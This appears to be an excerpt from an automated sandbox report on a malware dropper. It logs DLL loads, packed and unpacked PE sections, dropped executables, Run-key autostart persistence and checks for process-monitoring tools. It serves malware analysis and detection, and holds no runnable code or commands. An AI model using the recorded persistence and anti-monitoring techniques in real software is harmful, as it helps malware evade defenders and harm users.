Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1908224 > 1048576

Source: file.exe

Static PE information: Raw size of zivsockk is bigger than: 0x100000 < 0x1a0200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zivsockk:EW;luuuhjnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zivsockk:EW;luuuhjnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zivsockk:EW;luuuhjnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zivsockk:EW;luuuhjnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zivsockk:EW;luuuhjnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zivsockk:EW;luuuhjnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Unpacked PE file: 7.2.d657e56348.exe.d00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gfsnpvyd:EW;cievrdhi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gfsnpvyd:EW;cievrdhi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Unpacked PE file: 8.2.7208c9365d.exe.7e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hduvedpj:EW;ypanfstx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hduvedpj:EW;ypanfstx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Unpacked PE file: 30.2.c459772a8a.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W;vzknjvsv:EW;vkrybwpr:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1cbdda should be: 0x1cc51d
Source: c459772a8a.exe.6.dr	Static PE information: real checksum: 0x2bb7f3 should be: 0x2b4097
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2bb7f3 should be: 0x2b4097
Source: d657e56348.exe.6.dr	Static PE information: real checksum: 0x1cbdda should be: 0x1cc51d
Source: 193820fbcc.exe.6.dr	Static PE information: real checksum: 0x43a323 should be: 0x43aeb3
Source: file.exe	Static PE information: real checksum: 0x1d37db should be: 0x1d7e23
Source: 7208c9365d.exe.6.dr	Static PE information: real checksum: 0x1cf3af should be: 0x1c2a75
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d37db should be: 0x1d7e23
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1cf3af should be: 0x1c2a75
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x43a323 should be: 0x43aeb3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zivsockk
Source: file.exe	Static PE information: section name: luuuhjnn
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: zivsockk
Source: skotes.exe.0.dr	Static PE information: section name: luuuhjnn
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: gfsnpvyd
Source: random[1].exe.6.dr	Static PE information: section name: cievrdhi
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: d657e56348.exe.6.dr	Static PE information: section name:
Source: d657e56348.exe.6.dr	Static PE information: section name: .rsrc
Source: d657e56348.exe.6.dr	Static PE information: section name: .idata
Source: d657e56348.exe.6.dr	Static PE information: section name:
Source: d657e56348.exe.6.dr	Static PE information: section name: gfsnpvyd
Source: d657e56348.exe.6.dr	Static PE information: section name: cievrdhi
Source: d657e56348.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: hduvedpj
Source: random[1].exe0.6.dr	Static PE information: section name: ypanfstx
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 7208c9365d.exe.6.dr	Static PE information: section name:
Source: 7208c9365d.exe.6.dr	Static PE information: section name: .idata
Source: 7208c9365d.exe.6.dr	Static PE information: section name:
Source: 7208c9365d.exe.6.dr	Static PE information: section name: hduvedpj
Source: 7208c9365d.exe.6.dr	Static PE information: section name: ypanfstx
Source: 7208c9365d.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: vzknjvsv
Source: random[1].exe2.6.dr	Static PE information: section name: vkrybwpr
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: c459772a8a.exe.6.dr	Static PE information: section name:
Source: c459772a8a.exe.6.dr	Static PE information: section name: .idata
Source: c459772a8a.exe.6.dr	Static PE information: section name: vzknjvsv
Source: c459772a8a.exe.6.dr	Static PE information: section name: vkrybwpr
Source: c459772a8a.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: mcbbabgn
Source: random[2].exe.6.dr	Static PE information: section name: nvcadkig
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 193820fbcc.exe.6.dr	Static PE information: section name:
Source: 193820fbcc.exe.6.dr	Static PE information: section name: .rsrc
Source: 193820fbcc.exe.6.dr	Static PE information: section name: .idata
Source: 193820fbcc.exe.6.dr	Static PE information: section name:
Source: 193820fbcc.exe.6.dr	Static PE information: section name: mcbbabgn
Source: 193820fbcc.exe.6.dr	Static PE information: section name: nvcadkig
Source: 193820fbcc.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB62 pushad ; retf	7_3_013ACB65
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB62 pushad ; retf	7_3_013ACB65
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF52 push eax; iretd	7_3_013ACF55
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF52 push eax; iretd	7_3_013ACF55
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF56 push 68013ACFh; iretd	7_3_013ACF6D
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF56 push 68013ACFh; iretd	7_3_013ACF6D
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB4E pushad ; retf	7_3_013ACB61
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB4E pushad ; retf	7_3_013ACB61
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACBF6 push eax; iretd	7_3_013ACF51
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACBF6 push eax; iretd	7_3_013ACF51
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB62 pushad ; retf	7_3_013ACB65
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB62 pushad ; retf	7_3_013ACB65
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF52 push eax; iretd	7_3_013ACF55
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF52 push eax; iretd	7_3_013ACF55
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF56 push 68013ACFh; iretd	7_3_013ACF6D
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACF56 push 68013ACFh; iretd	7_3_013ACF6D
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB4E pushad ; retf	7_3_013ACB61
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACB4E pushad ; retf	7_3_013ACB61
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACBF6 push eax; iretd	7_3_013ACF51
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013ACBF6 push eax; iretd	7_3_013ACF51
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013C73F0 push eax; iretd	7_3_013C73F1
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013C6FD7 push edx; ret	7_3_013C6FE5
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013CE9FA push 98013CCAh; retf	7_3_013CEA01
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Code function: 7_3_013C73F0 push eax; iretd	7_3_013C73F1

Source: file.exe	Static PE information: section name: entropy: 7.987156431545061
Source: file.exe	Static PE information: section name: zivsockk entropy: 7.953468935813055
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.987156431545061
Source: skotes.exe.0.dr	Static PE information: section name: zivsockk entropy: 7.953468935813055
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.972929351390806
Source: random[1].exe.6.dr	Static PE information: section name: gfsnpvyd entropy: 7.952873381530231
Source: d657e56348.exe.6.dr	Static PE information: section name: entropy: 7.972929351390806
Source: d657e56348.exe.6.dr	Static PE information: section name: gfsnpvyd entropy: 7.952873381530231
Source: random[1].exe0.6.dr	Static PE information: section name: hduvedpj entropy: 7.954966246683304
Source: 7208c9365d.exe.6.dr	Static PE information: section name: hduvedpj entropy: 7.954966246683304
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.801889361239809
Source: c459772a8a.exe.6.dr	Static PE information: section name: entropy: 7.801889361239809
Source: random[2].exe.6.dr	Static PE information: section name: mcbbabgn entropy: 7.955672035343014
Source: 193820fbcc.exe.6.dr	Static PE information: section name: mcbbabgn entropy: 7.955672035343014

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7208c9365d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9ef14397f2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d657e56348.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c459772a8a.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
